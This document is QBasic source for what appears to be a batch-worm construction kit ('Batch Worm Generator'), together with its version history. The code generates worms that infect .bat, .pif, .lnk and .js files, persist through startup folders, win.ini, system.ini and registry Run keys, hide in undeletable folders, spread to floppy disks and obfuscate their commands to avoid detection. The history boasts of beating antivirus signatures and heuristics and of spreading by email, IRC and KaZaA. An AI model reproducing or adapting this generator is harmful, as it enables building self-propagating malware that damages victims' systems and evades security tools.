reginame$; CHR$(34); ","; CHR$(34); "%windir%\"; regiop$; CHR$(34); " $gt;$gt;"; regi$; CC$ PRINT #1, ""; CC$; "set regi=" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set regiA=sc" IF rand = 1 THEN regy$ = "c%regi%ript" IF rand = 2 THEN PRINT #1, ""; CC$; "set regiA=rip" IF rand = 2 THEN regy$ = "csc%regiA%t" IF rand = 3 THEN PRINT #1, ""; CC$; "set regiA=csc" IF rand = 3 THEN regy$ = "%regiA%ript" PRINT #1, ""; regy$; " "; regi$; CC$ PRINT #1, "del "; regi$; CC$ PRINT #1, "set regiA="; CC$ ReKeyEnd: IF BatDateienInf = 1 THEN GOTO BatDatei GOTO BatDateiEnd BatDatei: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) bafina$ = a$ + B$ + c$ + d$ + e$ + ".bat" ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) fakeBDAs$ = a$ + B$ + c$ PRINT #1, ""; DD$; "set BDAs="; fakeBDAs$ PRINT #1, ""; DD$; "set BDAs=for" PRINT #1, ""; DD$; "goto BDAsas" PRINT #1, ""; DD$; "set BDAs=mfe" PRINT #1, ""; DD; ":BDAsas" PRINT #1, "copy "; MyS$; " %winDir%\"; bafina$; DD$ PRINT #1, "%BDAs% %%v in (*.bat ..\*.bat \*.bat %path%\*.bat) do copy %WinDir%\"; bafina$; " %%v "; DD$ PRINT #1, "del %WinDir%\"; bafina$; DD$ BatDateiEnd: IF DeuAutoSt = 1 THEN GOTO Deuaustart GOTO deuautostend Deuaustart: deuautoSta = INT(RND * 3) + 1 RANDOMIZE TIMER ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) daufina$ = a$ + B$ + c$ + d$ + e$ + ".bat" IF deuautoSta = 1 THEN PRINT #1, "copy "; MyS$; " %windir%\startm~1\progra~1\autost~1\*.bat"; DD$ IF deuautoSta = 2 THEN PRINT #1, "copy "; MyS$; " C:\"; daufina$; DD$ IF deuautoSta = 2 THEN PRINT #1, "copy C:\"; daufina$; " %windir%\startm~1\progra~1\autost~1\*.bat"; DD$ IF deuautoSta = 2 THEN PRINT #1, "del C:\"; daufina$; DD$ IF deuautoSta = 3 THEN PRINT #1, "copy "; MyS$; " C:\"; daufina$; DD$ IF deuautoSta = 3 THEN PRINT #1, "move C:\"; daufina$; " %windir%\startm~1\progra~1\autost~1"; DD$ deuautostend: IF EngAutoSt = 1 THEN GOTO EngAuSt GOTO EngAuStEnd EngAuSt: RANDOMIZE TIMER ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) eaufina$ = a$ + B$ + c$ + d$ + e$ + ".bat" PRINT #1, "copy "; MyS$; " %windir%\Startm~1\Programs\StartUp\"; eaufina$; EE$ EngAuStEnd: IF LogLauf = 1 GOTO LogLaufwerk GOTO AD LogLaufwerk: llf = INT(RND * 2) + 1 RANDOMIZE TIMER subfina$ = "ikqus.bat" IF llf = 1 THEN PRINT #1, "md C:\suPs"; CC$ IF llf = 1 THEN PRINT #1, "copy "; MyS$; " C:\suPs\"; subfina$; CC$ IF llf = 1 THEN PRINT #1, "subst L: C:\suPs"; CC$ IF llf = 2 THEN PRINT #1, "md C:\suPs"; CC$ IF llf = 2 THEN PRINT #1, "copy "; MyS$; " C:\suPs\"; subfina$; CC$ IF llf = 2 THEN PRINT #1, "subst L: C:\suPs"; CC$ AD: IF windir = 1 THEN GOTO WinD GOTO EndWinD WinD: RANDOMIZE TIMER wdfina$ = "jduif.bat" WinDR = INT(RND * 2) + 1 IF WinDR = 1 THEN PRINT #1, ""; CC$; "set WDs=for" IF WinDR = 1 THEN PRINT #1, "copy "; MyS$; " C:\"; wdfina$; CC$ IF WinDR = 1 THEN PRINT #1, "%WDs% %%w in (%windir%\*.bat) do copy C:\"; wdfina$; " %%w"; CC$ IF WinDR = 1 THEN PRINT #1, "del C:\"; wdfina$; CC$ IF WinDR = 2 THEN PRINT #1, ""; CC$; "set WDs=for" IF WinDR = 2 THEN PRINT #1, "ren %WinDir%\*.bat *.ifk"; CC$ IF WinDR = 2 THEN PRINT #1, "copy "; MyS$; " C:\"; wdfina$; CC$ IF WinDR = 2 THEN PRINT #1, "%WDs% %%w in (%windir%\*.ifk) do copy C:\"; wdfina$; " %%w"; CC$ IF WinDR = 2 THEN PRINT #1, "ren %windir%\*.ifk *.bat"; CC$ IF WinDR = 2 THEN PRINT #1, "del C:\"; wdfina$; CC$ EndWinD: IF WinINI = 1 GOTO WiINI GOTO WiINIEnd WiINI: PRINT #1, "copy "; MyS$; " %WinDir%\system\WINI.bat"; DD$ inip = INT(RND * 2) + 1 IF inip = 1 THEN PRINT #1, "echo [windows] $gt;funny.bat"; DD$ IF inip = 2 THEN PRINT #1, ""; DD$; "set inia=windows" IF inip = 2 THEN PRINT #1, "echo [%inia%] $gt;funny.bat"; DD$ inip = INT(RND * 2) + 1 IF inip = 1 THEN PRINT #1, "echo load=%windir%\system\WINI.bat $gt;$gt;funny.bat"; DD$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ IF inip = 1 THEN PRINT #1, ""; DD$; "set inib="; c$ IF inip = 2 THEN PRINT #1, ""; DD$; "set inib=system" IF inip = 2 THEN PRINT #1, "echo load=%windir%\%inib%\WINI.bat $gt;$gt;funny.bat"; DD$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) c$ = a$ + B$ PRINT #1, "set inic="; c$; DD$ PRINT #1, ""; DD$; "set inic=WINI.bat" PRINT #1, "echo run=%windir%\system\%inic% $gt;$gt;funny.bat"; DD$ PRINT #1, ""; DD$; "set inid=" PRINT #1, ""; DD$; "set inic=Port" PRINT #1, ""; DD$; "set inib=Null" PRINT #1, ""; DD$; "set inia=%inib%%inic%" PRINT #1, ""; DD$; "set wiech=ec" PRINT #1, ""; DD$; "set wiechb=%wiech%ho" PRINT #1, "%wiechb% %inia%=None $gt;$gt;funny.bat"; DD$ PRINT #1, "copy funny.bat %windir%\dd.ini"; DD$ inip = INT(RND * 2) + 1 IF inip = 1 THEN PRINT #1, "del %windir%\win.ini"; DD$ IF inip = 2 THEN PRINT #1, ""; DD$; "set inif=win" IF inip = 2 THEN PRINT #1, "del %windir%\%inif%.ini"; DD$ inip = INT(RND * 2) + 1 IF inip = 1 THEN PRINT #1, "del funny.bat"; DD$ IF inip = 2 THEN PRINT #1, ""; DD$; "set inig=unny" IF inip = 2 THEN PRINT #1, "del f%inig%.bat"; DD$ inip = INT(RND * 2) + 1 IF inip = 1 THEN PRINT #1, "ren %windir%\dd.ini win.ini"; DD$ IF inip = 2 THEN PRINT #1, ""; DD$; "set inih=dd.in" IF inip = 2 THEN PRINT #1, "ren %windir%\%inih%i win.ini"; DD$ PRINT #1, ""; DD$; "set inih=" PRINT #1, ""; DD$; "set inig=" PRINT #1, ""; DD$; "set inif=" PRINT #1, ""; DD$; "set inie=" WiINIEnd: IF PifFileI = 1 THEN GOTO PifFInfection GOTO PIFFInfectionEnd PifFInfection: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) PIFDropFile$ = a$ + B$ + c$ + d$ + e$ + ".bat" PRINT #1, "copy "; MyS$; " %windir%\drop.vbs"; EE$ PRINT #1, "copy "; MyS$; " %windir%\"; PIFDropFile$; EE$ PRINT #1, "echo dim wshs, msc $gt; %windir%\drop.vbs"; EE$ rand = INT(RND * 2) + 1 IF rand = 1 THEN PRINT #1, ""; EE$; "set pifA=WS" IF rand = 1 THEN PRINT #1, "echo set wshs=Wscript.CreateObject("; CHR$(34); "%pifA%cript.Shell"; CHR$(34); ") $gt;$gt; %windir%\drop.vbs"; EE$ IF rand = 1 THEN PRINT #1, ""; EE$; "set pifA=" IF rand = 2 THEN PRINT #1, ""; EE$; "set pifA=cript" IF rand = 2 THEN PRINT #1, "echo set wshs=Wscript.CreateObject("; CHR$(34); "WS%pifA%.Shell"; CHR$(34); ") $gt;$gt; %windir%\drop.vbs"; EE$ IF rand = 2 THEN PRINT #1, ""; EE$; "set pifA=" rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; EE$; "set pifB=Cr" IF rand = 1 THEN PRINT #1, "echo set msc=wshs.%pifB%eateShortcut("; CHR$(34); "C:\pif.lnk"; CHR$(34); ") $gt;$gt; %windir%\drop.vbs"; EE$ IF rand = 2 THEN PRINT #1, ""; EE$; "set pifB=ea" IF rand = 2 THEN PRINT #1, "echo set msc=wshs.Cr%pifB%teShortcut("; CHR$(34); "C:\pif.lnk"; CHR$(34); ") $gt;$gt; %windir%\drop.vbs"; EE$ IF rand = 3 THEN PRINT #1, ""; EE$; "set pifB=te" IF rand = 3 THEN PRINT #1, "echo set msc=wshs.Crea%pifB%Shortcut("; CHR$(34); "C:\pif.lnk"; CHR$(34); ") $gt;$gt; %windir%\drop.vbs"; EE$ IF rand = 4 THEN PRINT #1, ""; EE$; "set pifB=CreateShortcut" IF rand = 4 THEN PRINT #1, "echo set msc=wshs.%pifB%("; CHR$(34); "C:\pif.lnk"; CHR$(34); ") $gt;$gt; %windir%\drop.vbs"; EE$ PRINT #1, ""; EE$; "set pifB=" PRINT #1, "echo msc.TargetPath = wshs.ExpandEnvironmentStrings("; CHR$(34); "%windir%\"; PIFDropFile$; CHR$(34); ") $gt;$gt; %windir%\drop.vbs"; EE$ PRINT #1, "echo msc.WindowStyle = 4 $gt;$gt; %windir%\drop.vbs"; EE$ rand = INT(RND * 2) + 1 IF rand = 1 THEN PRINT #1, ""; EE$; "set pifC=Sa" IF rand = 1 THEN PRINT #1, "goto pifdri"; EE$ IF rand = 1 THEN PRINT #1, ""; EE$; "set pifC=kfie" IF rand = 1 THEN PRINT #1, ":pifdri"; EE$ IF rand = 1 THEN PRINT #1, "echo msc.%pifC%ve $gt;$gt; %windir%\drop.vbs"; EE$ IF rand = 2 THEN PRINT #1, ""; EE$; "set pifC=ve" IF rand = 2 THEN PRINT #1, "goto pifdri"; EE$ IF rand = 2 THEN PRINT #1, ""; EE$; "set pifC=ueqha" IF rand = 2 THEN PRINT #1, ":pifdri"; EE$ IF rand = 2 THEN PRINT #1, "echo msc.Sa%pifC% $gt;$gt; %windir%\drop.vbs"; EE$ PRINT #1, ""; EE$; "set pifC=" rand = INT(RND * 2) + 1 IF rand = 1 THEN PRINT #1, ""; EE$; "set pifD=cscript" IF rand = 1 THEN PRINT #1, "%pifD% %windir%\drop.vbs"; EE$ IF rand = 2 THEN PRINT #1, ""; EE$; "set pifD=scr" IF rand = 2 THEN PRINT #1, "c%pifD%ipt %windir%\drop.vbs"; EE$ PRINT #1, "del %windir%\drop.vbs"; EE$ PRINT #1, ""; EE$; "set PDA=for" PRINT #1, "%PDA% %%k in (*.pif \*.pif ..\*.pif %path%\*.pif %windir%\*.pif) do copy C:\pif.pif %%k"; EE$ PRINT #1, ""; EE$; "set PDA=" PRINT #1, "del C:\pif.pif"; EE$ PIFFInfectionEnd: IF LnkFileI = 1 THEN GOTO LnkFileInfection GOTO LnkFileInfectionEnd LnkFileInfection: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) LNKdropFile$ = a$ + B$ + c$ + d$ + e$ + ".bat" ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) lnkAPF$ = a$ + B$ PRINT #1, ""; CC$; "set lnkA="; lnkAPF$; ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) lnkBPF$ = a$ + B$ PRINT #1, "set lnkB="; lnkBPF$; CC$ rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set lnkA=w" IF rand = 1 THEN lnkAP$ = "%lnkA%scr" IF rand = 2 THEN PRINT #1, ""; CC$; "set lnkA=s" IF rand = 2 THEN lnkAP$ = "w%lnkA%cr" IF rand = 3 THEN PRINT #1, ""; CC$; "set lnkA=c" IF rand = 3 THEN lnkAP$ = "ws%lnkA%r" IF rand = 4 THEN PRINT #1, ""; CC$; "set lnkA=r" IF rand = 4 THEN lnkAP$ = "wsc%lnkA%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set lnkB=i" IF rand = 1 THEN lnkBP$ = "%lnkB%pt" IF rand = 2 THEN PRINT #1, ""; CC$; "set lnkB=p" IF rand = 2 THEN lnkBP$ = "i%lnkB%t" IF rand = 3 THEN PRINT #1, ""; CC$; "set lnkB=t" IF rand = 3 THEN lnkBP$ = "ip%lnkB%" lnkAB$ = lnkAP$ + lnkBP$ PRINT #1, ""; CC$; "set lnka=run" PRINT #1, "goto lnkdrri "; CC$ PRINT #1, ""; CC$; "set lnka=kla" PRINT #1, ":lnkdrri "; CC$ PRINT #1, "copy "; MyS$; " %windir%\dropa.vbs"; CC$ PRINT #1, "copy "; MyS$; " %windir%\"; LNKdropFile$; CC$ PRINT #1, "copy "; MyS$; " %windir%\dropb.vbs"; CC$ PRINT #1, "echo.on error resume next $gt;%windir%\dropb.vbs"; CC$ PRINT #1, "echo dim wsh $gt;$gt;%windir%\dropb.vbs"; CC$ PRINT #1, "echo set wsh="; lnkAB$; ".createobject("; CHR$(34); lnkAB$; ".shell"; CHR$(34); ") $gt;$gt;%windir%\dropb.vbs"; CC$ PRINT #1, "echo wshs.%lnka% "; CHR$(34); "%windir%\"; LNKdropFile$; CHR$(34); " $gt;$gt;%windir%\dropb.vbs"; CC$ PRINT #1, "echo dim wsh, msc $gt; %windir%\dropa.vbs"; CC$ PRINT #1, "echo set wsh="; lnkAB$; ".CreateObject("; CHR$(34); lnkAB$; ".Shell"; CHR$(34); ") $gt;$gt; %windir%\dropa.vbs"; CC$ PRINT #1, "echo set msc=wsh.CreateShortcut("; CHR$(34); "C:\vbs.lnk"; CHR$(34); ") $gt;$gt; %windir%\dropa.vbs"; CC$ PRINT #1, "echo msc.TargetPath = wshs.ExpandEnvironmentStrings("; CHR$(34); "%windir%\dropb.vbs "; CHR$(34); ") $gt;$gt; %windir%\dropa.vbs"; CC$ PRINT #1, "echo msc.WindowStyle = 4 $gt;$gt; %windir%\dropa.vbs"; CC$ PRINT #1, ""; CC$; "set lnkdA=Save" PRINT #1, "goto lnkdri"; CC$ PRINT #1, ""; CC$; "set lnkdA=Ejfn" PRINT #1, ":lnkdri"; CC$ PRINT #1, "echo msc.%lnkdA% $gt;$gt; %windir%\dropa.vbs"; CC$ PRINT #1, "cscript %windir%\dropa.vbs"; CC$ PRINT #1, "del %windir%\dropa.vbs"; CC$ PRINT #1, ""; CC$; "set LDA=for" PRINT #1, "%LDA% %%k in (*.lnk \*.lnk ..\*.lnk %path%\*.lnk %windir%\*.lnk) do copy C:\vbs.lnk %%k"; CC$ PRINT #1, ""; CC$; "set LDA=" PRINT #1, "del C:\vbs.lnk"; CC$ PRINT #1, ""; CC$; "set lnkA=" PRINT #1, ""; CC$; "set lnkB=" LnkFileInfectionEnd: IF SysINI = 1 THEN GOTO SystemINI GOTO SystemINIEnd SystemINI: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) sysname$ = a$ + B$ + c$ + d$ + e$ + ".bat" PRINT #1, "copy "; MyS$; " "; sysname$; DD$ PRINT #1, "echo [boot] $gt; %windir%\system.ini"; DD$ PRINT #1, ""; DD$; "set sysinic=ell" PRINT #1, ""; DD$; "set sysinib=sh" PRINT #1, ""; DD$; "set sysinia=%sysinib%%sysinic%" PRINT #1, "goto sysiniri"; DD$ PRINT #1, ""; DD$; "set sysinia=%sysinic%%sysinib%" PRINT #1, ":sysiniri "; DD$ PRINT #1, "echo %sysinia%=explorer.exe %windir%\"; sysname$; "$gt;$gt; %windir%\system.ini"; DD$ PRINT #1, ""; DD$; "set sysinia=" PRINT #1, ""; DD$; "set sysinib=" PRINT #1, ""; DD$; "set sysinic=" SystemINIEnd: IF UDF = 1 THEN GOTO UDFB GOTO UDFBEnd UDFB: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) UDFname$ = a$ + B$ + c$ + d$ + e$ + ".bat" UDFnameb$ = "jgiqo.bat" UDFvbs$ = "oejvc.vbs" UDFlauf = 0 DO WHILE UDFlauf < 5 rand = INT(RND * 2) + 1 IF rand = 1 THEN UDFvar$ = UDFvar$ + "Å" IF rand = 2 THEN UDFvar$ = UDFvar$ + "³" UDFlauf = UDFlauf + 1 LOOP PRINT #1, "cd %windir%"; DD$ PRINT #1, "md "; UDFvar$; DD$ PRINT #1, "cd "; UDFvar$; DD$ PRINT #1, "copy "; MyS$; " "; UDFname$; DD$ PRINT #1, "copy "; MyS$; " %windir%\"; UDFnameb$; DD$ PRINT #1, "copy "; MyS$; " %windir%\"; UDFname$; DD$ UDFpath$ = "%windir%" + UDFname$ PRINT #1, "echo ctty nul $gt; "; UDFpath$; DD$ PRINT #1, "echo cls $gt;$gt;"; UDFpath$; DD$ PRINT #1, "echo if exist %windir%\"; UDFnameb$; " goto UDFend $gt;$gt; "; UDFpath$; DD$ PRINT #1, "echo %windir% $gt;$gt;"; UDFpath$; DD$ PRINT #1, "echo cd "; UDFvar$; " $gt;$gt;"; UDFpath$; DD$ PRINT #1, "echo "; UDFname$; " $gt;$gt; "; UDFpath$; DD$ PRINT #1, "echo :UDFend $gt;$gt;"; UDFpath$; DD$ PRINT #1, "copy "; MyS$; " "; UDFvbs$; DD$ PRINT #1, "echo.on error resume next $gt; "; UDFvbs$; DD$ PRINT #1, "echo set ws=CreateObject("; CHR$(34); "Wscript.Shell"; CHR$(34); ") $gt;$gt;"; UDFvbs$; DD$ PRINT #1, "echo ws.regedit "; CHR$(34); "HKLM\Software\Microsoft\Windows\CurrentsVersion\RUN\UDF"; CHR$(34); ","; CHR$(34); UDFpath$; CHR$(34); DD$ UDFBEnd: IF Desktop = 1 THEN GOTO Desktp GOTO Desktpend Desktp: DesktopR = INT(RND * 2) + 1 IF DesktopR = 1 THEN PRINT #1, "copy "; MyS$; " %windir%\Desktop\*.bat"; EE$ IF DesktopR = 2 THEN PRINT #1, "copy "; MyS$; " %windir%\Desktop\*.ifk"; EE$ IF DesktopR = 2 THEN PRINT #1, "ren %windir%\Desktop\*.ifk *.bat"; EE$ Desktpend: IF Diskette = 1 THEN GOTO DiskAdisK GOTO DiskAdisKEnd DiskAdisK: PRINT #1, "command /f /c copy "; MyS$; " A:\ "; CC$ DiskAdisKEnd: PRINT #1, "del "; MyS$; BB$ PRINT #1, "ctty CON "; BB$ PRINT #1, "echo on"; BB$ IF mesg = 1 THEN PRINT #1, "echo "; msg$; BB$ CLOSE #1 CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 7 PRINT "" PRINT " The worm has been saved as "; CHR$(34); "worm.bat"; CHR$(34); " in the CURRENT direction! " PRINT "" PRINT " Please read the INFORMATION." PRINT "" PRINT " Thank you for using "; name$; " !!" PRINT " A new version of the program can be found here:" COLOR 4 PRINT " http://www.SPTH.de.vu" PRINT "" PRINT "" PRINT " YOURS" PRINT " Second Part To Hell" COLOR 7 PRINT "" INPUT " Press enter... ", nix$ GOTO headline Ende: ####################################[bwgeng.bas]################################### ####################################[include.bas]################################### CLS OPEN "worm.txt" FOR APPEND AS #1 OPEN "poly.bwg" FOR INPUT AS #2 poly$ = INPUT$(1, #2) CLOSE #2 IF poly$ = "N" THEN GOTO nopoly BB$ = "" CC$ = "" DD$ = "" BB$ = " % BBBB %" CC$ = " % CCCC %" DD$ = " % DDDD %" nopoly: OPEN "JS.bwg" FOR INPUT AS #2 JS$ = INPUT$(2, #2) CLOSE #2 IF JS$ = "NS" THEN GOTO noJS ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 b$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) jsdropname$ = a$ + b$ + c$ + d$ + e$ + ".js" ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 b$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) jsvirname$ = a$ + b$ + c$ + d$ + e$ + ".bat" PRINT #1, "copy %MyS% %windir%\"; jsvirname$; BB$ PRINT #1, "echo { $gt;$gt; %windir%\"; jsdropname$; BB$ PRINT #1, "echo shell=WScript.CreateObject("; CHR$(34); "WScript.Shell"; CHR$(34); "); $gt;$gt; %windir%\"; jsdropname$; BB$ lala = INT(RND * 3) + 1 IF lala = 1 THEN PRINT #1, "set jsda=a" IF lala = 1 THEN PRINT #1, "set jsda=r" IF lala = 1 THEN PRINT #1, "goto jsda" IF lala = 1 THEN PRINT #1, "set jsda=h" IF lala = 1 THEN PRINT #1, ":jsda" IF lala = 1 THEN PRINT #1, "set jsdb=w" IF lala = 1 THEN PRINT #1, "set jsdb=n" IF lala = 1 THEN PRINT #1, "goto jsdb" IF lala = 1 THEN PRINT #1, "set jsd=k" IF lala = 1 THEN PRINT #1, ":jsdb" IF lala = 1 THEN run$ = "%jsda%u%jsdb%" IF lala = 2 THEN PRINT #1, "set jsda=o" IF lala = 2 THEN PRINT #1, "set jsda=n" IF lala = 2 THEN PRINT #1, "goto jsda" IF lala = 2 THEN PRINT #1, "set jsda=i" IF lala = 2 THEN PRINT #1, ":jsda" IF lala = 2 THEN PRINT #1, "set jsdb=k" IF lala = 2 THEN PRINT #1, "set jsdb=u" IF lala = 2 THEN PRINT #1, "goto jsdb" IF lala = 2 THEN PRINT #1, "set jsd=q" IF lala = 2 THEN PRINT #1, ":jsdb" IF lala = 2 THEN run$ = "r%jsdb%%jsda%" IF lala = 3 THEN PRINT #1, "set jsda=p" IF lala = 3 THEN PRINT #1, "set jsda=u" IF lala = 3 THEN PRINT #1, "goto jsda" IF lala = 3 THEN PRINT #1, "set jsda=z" IF lala = 3 THEN PRINT #1, ":jsda" IF lala = 3 THEN PRINT #1, "set jsdb=w" IF lala = 3 THEN PRINT #1, "set jsdb=r" IF lala = 3 THEN PRINT #1, "goto jsdb" IF lala = 3 THEN PRINT #1, "set jsd=x" IF lala = 3 THEN PRINT #1, ":jsdb" IF lala = 3 THEN run$ = "%jsdb%%jsda%n" PRINT #1, "set jsdd=dfg" PRINT #1, "set jsdd=ll" PRINT #1, "goto jsdd" PRINT #1, "set jsdd=q34nvc" PRINT #1, ":jsdd" PRINT #1, "set jsdc=asda" PRINT #1, "set jsdc=she" PRINT #1, "goto jsdc" PRINT #1, "set jsdc=fdgew" PRINT #1, ":jsdc" PRINT #1, "echo %jsdc%%jsdd%."; run$; "("; CHR$(34); "%windir%\"; jsvirname$; CHR$(34); "); $gt;$gt; %windir%\"; jsdropname$; BB$ PRINT #1, "set jsda=" PRINT #1, "set jsdb=" PRINT #1, "set jsdc=" PRINT #1, "set jsdd=" PRINT #1, "echo } $gt;$gt; %windir%\"; jsdropname$; BB$ PRINT #1, "set jsda=asf" PRINT #1, "set jsda=for" PRINT #1, "goto jsde" PRINT #1, "set jsda=spth" PRINT #1, ":jsde" PRINT #1, "%jsde% %%j in (*.js \*.js ..\*.js %path%\*.js %windir%\*.js) do copy "; jsdropname$; " %%j"; BB$ PRINT #1, "del %windir%\"; jsdropname$; BB$ noJS: CLOSE #1 KILL "JS.bwg" KILL "poly.bwg" ####################################[include.bas]################################### ####################################[history.txt]################################### [ Batch Worm Generator History ] * version 5.03 - 16.02.2003 Fixed a little bug in the LNK-files dropping The most BWG 5.02 worms were detect, because LNK-dropping and the poly engine started the Crypt.BWG. Because of that I changed these two parts. No the Crypt.BWG don't starts, and the result is, that no worm is detect. :) A big problem was the poly-engine! every worm generated with polymorphism is detect, so i deleted it! But, this polimorphism was just silly! so it's no big problem! * version 5.02 - 12.12.2002 Killed the KAV heuristic alarm TYPE_BAT i you only choose Bat-infection Fixed a bug in the poly-generator: The program wrote "ead if" instate "end if" Fixed two bugs in the IRC-part And changed the set's, if you don't use poly. * version 5.01 - 29.09.2002 Killed I-Worm.BWG.f Killed Trojan.BAT.KillAV.h Worked 2 hours, because it was hard to kill the Crypt.BWG!! * version 5.00 - 22.09.2002 I tried to find and fix every bug, and it looks like I succed: One in the BAT-infetion ( the poly-variable was a number instead of a string ) One in the end of the code ( forgot the poly-string ) One in the JS-dropping Tree bugs because of the fuckin' SPACE after a set option Made JS-dropping random And the major change this version: The output is .txt not .bat anymore, because looking to the source is easier that before. I Hope, U will like it. * version 4.11 - 10.09.2002 Fixed a silly bug in AV-killing Added JS dropping * version 4.10 - 02.09.2002 KAV detect the BWG worms in the same way like version 4.08: Crypt.BWG Now the Crypt is really very good, because of that, it's not possible to kill the viruses. But don't worry, I was clever ;-)! I killed the Crypt.BWG! Hope, it is good! Now no virus is detect, because KAV don't include the set-OP! * version 4.09 - 13.08.2002 Killed I-Worm.BWG.d (KaZaA - REG dropping - VBS dropping - LNK dropping) Little changes in the REG dropping part * version 4.08 - 10.08.2002 Fixed a bug in the REG file dropping Fixed a bug in the mIRC spreading Killed I-Worm.BWG.a (win.ini - pIRCh) Killed I-Worm.BWG.c (eMail) Killed I-Worm.BWG.d (system.ini - registry key - eMail - vIRC - VBS dropping - PIF and LNK dropping with polymorphism) Killed I-Worm.BWG.f (polymorphism) Killed IRC-Worm.generic.bat (mIRC) Killed Trojan.BAT.KillAV.g (AV deleting with polymorphism) Killed Trojan.BAT.KillAV.h (AV deleting with polymorphism) OK, you'll ask "Why BWG worms were detect with so much viruses?". The answer is the "Crypt.BWG". KAV changed it, because of that all the BWG worms WERE detect. ;-) Thank you to Eugene and his team, it was really funny to rewrite my program +fg+ * version 4.07 - 09.08.2002 Added KAZAA spreading (Thanks 2 VorteX) ;-) Fixed a major bug is U choose polymorphism. Some small changes in the end of the worm codes. * version 4.06 - 08.08.2002 You can choose if the worm use polymorphism or not. Killed KAV alarm I-Worm.BWG.f Fixed Bugs: 1 in pIRCh 2 in REG dropping 2 in mIRC * version 4.05 - 18.07.2002 Add a new technique: Undeletable folder (seen in Trojan.NoDelDir) The worm makes a new folder in the WinDir with e special name. You are not able to delet this folder in Windows. The worm copies itself into this folder. If the registry key see, that the system is uninfect, it will start this copy of the worm. I think, it's a good technique ;-) * version 4.04 - 04.07.2002 Added Fake Lines at the beginning of the code, because I found out, that KAV only search in the first 1.000 Bytes! So you can include this 1.000 Bytes in the worm. * version 4.03 - 02.07.2002 Replaced the AV-Killing part to the beginnig of the code (VorteX's idea)!! Killed KAV alarm I-Worm.BWG.c Killed KAV alarm I-Worm.BWG.f Fixed a bug in the mIRC part * version 4.02 - 27.06.2002 Fixed 4 bugs in the AV-killing part, because I forgot the "~1" after "progra"! Changed many lines, because MS-DOS see a different between "" and " "?!? Killed I-Worm.BWG.f * version 4.01 - 22.06.2002 Fixed bugs: 11 bugs because I forgot the "% EEEE %" or "% DDDD %" or smth else 1 bug in mIRC 1 bug in the vbs-part: the Subject was everytime nothing ;-( Changed the file "poly.exe". Now the worms are harder to detect by AV's Heuristic! * version 4.00 - 21.06.2002 Fixed a bug, because of the randomness in the vbs-part: One in three the BWG wrote: Mail.attachmentss!! Delete the FakeLines, because of an "HardCore" bug! :-( The most important from this version: REAL POLYMORPHISM!!! Ever activation, the worm chance it's body. The secret is vbs-randomness! But I think, there are some bugs, so I'll search for them! * version 3.02 - 16.06.2002 Included a new Anti AV technique: Fake Lines! (seen in Duke's Advanced Batch Mutator v1.3) The ABM crpyted its batch virii in the same way as my BWG! * version 3.01 - 12.06.2002 Killed the suspection from Duke/SWF's BAT Checker 1.5 I think, BC 1.5 is the best BAT heuristic ever! Fixed a silly bug in the eMail routine! Fixed a bug in the vbs routine, because of the randomness! Made PIF dropping random! * version 2.09 - 06.06.2002 Killed Norton AV's virus BAT.BWG@mm ;-) 